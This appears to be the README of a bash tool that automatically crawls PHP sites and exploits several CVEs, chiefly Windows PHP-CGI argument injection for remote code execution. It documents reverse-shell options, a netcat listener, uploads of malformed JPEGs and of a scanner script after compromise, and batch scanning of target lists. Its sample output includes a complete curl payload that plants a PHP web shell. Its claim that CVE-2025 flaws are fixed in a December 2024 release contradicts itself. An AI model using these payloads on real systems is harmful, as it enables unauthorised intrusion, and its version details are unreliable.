🚀 PHP CVE Autopilot

Automated detection & exploitation of critical PHP vulnerabilities (CVE-2024-4577 bypass, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)

PHP8.1.x_Exploit.sh is a single‑file, zero‑configuration security assessment tool that automatically discovers vulnerable PHP endpoints and exploits four high‑impact CVEs affecting PHP versions before 8.1.34 (released December 2024). It requires no manual payload crafting – just provide a URL and the script does the rest, from crawling to remote code execution. Fully autopilot – detects and exploits automatically without user prompts.

Features

• Fully autonomous autopilot – given a single URL, it crawls, fingerprints, tests, and exploits without user interaction.
• Batch scanning – feed a list of targets and run in parallel.
• Advanced crawling – extracts links and forms from the homepage for better discovery.
• OS & PHP version fingerprinting – avoids Windows‑only attacks on Linux, checks PHP version.
• CVE-2024-4577 bypass (Windows CGI argument injection)
  • Detects and exploits vulnerable PHP-CGI endpoints.
  • Optional reverse shell (PowerShell one‑liner).
  • Two injection flavours: standard -d and soft‑hyphen %AD bypass.
• CVE-2025-14177 – heap memory leak via getimagesize()
  • Dynamically creates a malformed JPEG and automatically submits it to any discovered upload endpoint.
  • Detects leaked memory in responses.
• Deep local scan via RCE (when CVE-2024-4577 is exploited)
  • Uploads a lightweight PHP scanner that tests for:
    • CVE-2025-14180 – NULL pointer dereference in PDO PostgreSQL.
    • CVE-2025-14178 – integer overflow in array_merge.
• Smart crawling – extracts links and forms to discover CGI scripts and upload pages.
• Parallel execution – uses parallel if available, falls back gracefully.
• Verbose & debug modes – see every HTTP request and decision.
• Report generation – save all findings to a text file.
• Clean & safe – temp files destroyed on exit, timeouts prevent hanging.

Requirements

Dependency	Purpose	Usually installed?
bash 4.0+	Script interpreter	Yes (Linux/macOS)
curl	HTTP requests	Yes
grep, sed, awk	Text processing	Yes
mktemp	Temp file creation	Yes
(optional) parallel	Faster batch scanning	No (but recommended)
(optional) jq	JSON output formatting	No

No root privileges required – the tool only sends HTTP requests and optionally executes a reverse shell (requires listener on your machine).

Installation

git clone https://github.com/gl1tch0x1/PHP_8.1.x_Exploit.git
cd PHP_8.1.x_Exploit
chmod +x PHP8.1.x_Exploit.sh

Usage

Single target (most common)

./PHP8.1.x_Exploit.sh -u http://target.example.com

Single target with reverse shell (CVE-2024-4577)

./PHP8.1.x_Exploit.sh -u http://vulnerable-win-server.local/ --revshell 192.168.1.100 4444

Then on your machine:

nc -lvnp 4444

Batch scan multiple targets

./PHP8.1.x_Exploit.sh -l targets.txt --threads 10

Example targets.txt:

http://192.168.1.1/
https://10.0.0.5:8080/
http://internal-app.company.com

Scan‑only mode (no exploitation attempts)

./PHP8.1.x_Exploit.sh -u http://target.com/ --scan-only

Save report to file

./PHP8.1.x_Exploit.sh -u http://target.com/ -o results.txt

Verbose / debug output

./PHP8.1.x_Exploit.sh -u http://target.com/ --verbose
./PHP8.1.x_Exploit.sh -u http://target.com/ --debug   # very noisy

How it works (phases)

Phase	Action
1	Fingerprinting – OS and PHP version from headers and probes.
2	Crawling – extracts href and action attributes from the homepage.
3	CGI discovery – tries common paths and crawled links that look like CGI.
4	CVE‑2024‑4577 testing – injects both -d and %AD payloads; if successful, executes commands or sends reverse shell.
5	Upload endpoint discovery – checks common upload paths and any forms containing "upload"/"image".
6	CVE‑2025‑14177 testing – crafts a malformed JPEG, POSTs it to each upload endpoint, detects heap leaks.
7	Deep internal scan – if RCE is achieved, uploads a scanner PHP script and runs it to test CVE‑2025‑14180 / CVE‑2025‑14178.
8	Reporting – prints a summary and optionally writes to a file.

Command line options (full reference)

Option	Description
-u URL	Single target URL (e.g. http://example.com/)
-l FILE	Batch file with one URL per line
--scan-only	Detect only – do not exploit (no reverse shell, no payload uploads)
-o FILE	Write final report to FILE
--threads N	Number of parallel threads for batch scanning (default: 5)
--timeout N	HTTP timeout in seconds (default: 10)
--no-color	Disable coloured output
--verbose	Show detailed progress
--debug	Show every HTTP request (may expose sensitive data)
--revshell IP PORT	Attempt reverse shell when CVE‑2024‑4577 is found
-h, --help	Display help and exit

CVEs covered in detail

CVE	Severity	Impact	Exploitation vector	Fixed in
CVE‑2024‑4577 (bypass)	Critical	RCE	Windows CGI argument injection (soft hyphen mapping)	PHP 8.1.34
CVE‑2025‑14177	Medium/High	Info leak (heap memory)	Malformed JPEG passed to getimagesize()	PHP 8.1.34
CVE‑2025‑14180	High	DoS (NULL dereference)	PDO PostgreSQL with emulated prepares + malformed param \x99	PHP 8.1.34
CVE‑2025‑14178	High (8.2)	DoS / potential memory corruption	array_merge() with huge arrays causing integer overflow	PHP 8.1.34

Note: CVE‑2025‑14180 and CVE‑2025‑14178 can only be accurately detected from inside the server (local tests). The script achieves this by uploading a scanner after a successful CGI exploit.

📸 Example output

[*] Scanning: http://192.168.1.100/
[*] OS: windows
[*] PHP version: 8.1.33
[*] Testing CVE-2024-4577 on http://192.168.1.100/cgi-bin/php-cgi.exe
[✓] CVE-2024-4577: VULNERABLE (soft hyphen injection)
[*] Attempting reverse shell to 192.168.1.5 4444
...
[*] Testing CVE-2025-14177 via http://192.168.1.100/upload.php
[-] CVE-2025-14177: Potential heap leak detected!
...
[*] Running deep local scan via RCE...
PHP_VERSION=8.1.33
CVE-2025-14180: VULNERABLE
CVE-2025-14178: VULNERABLE
CVE-2025-14177: VULNERABLE (leak: 486561704c65616b21...)

===================== Report for http://192.168.1.100/ =====================
OS: windows
PHP: 8.1.33
CVE-2024-4577: EXPLOITABLE at http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input
PoC: curl -X POST --data '<?php system($_GET["c"]); ?>' 'http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input&c=whoami'
CVE-2025-14177: VULNERABLE
CVE-2025-14180/14178: VULNERABLE (see deep scan output)
==============================================================

⚠️ Important warnings & disclaimer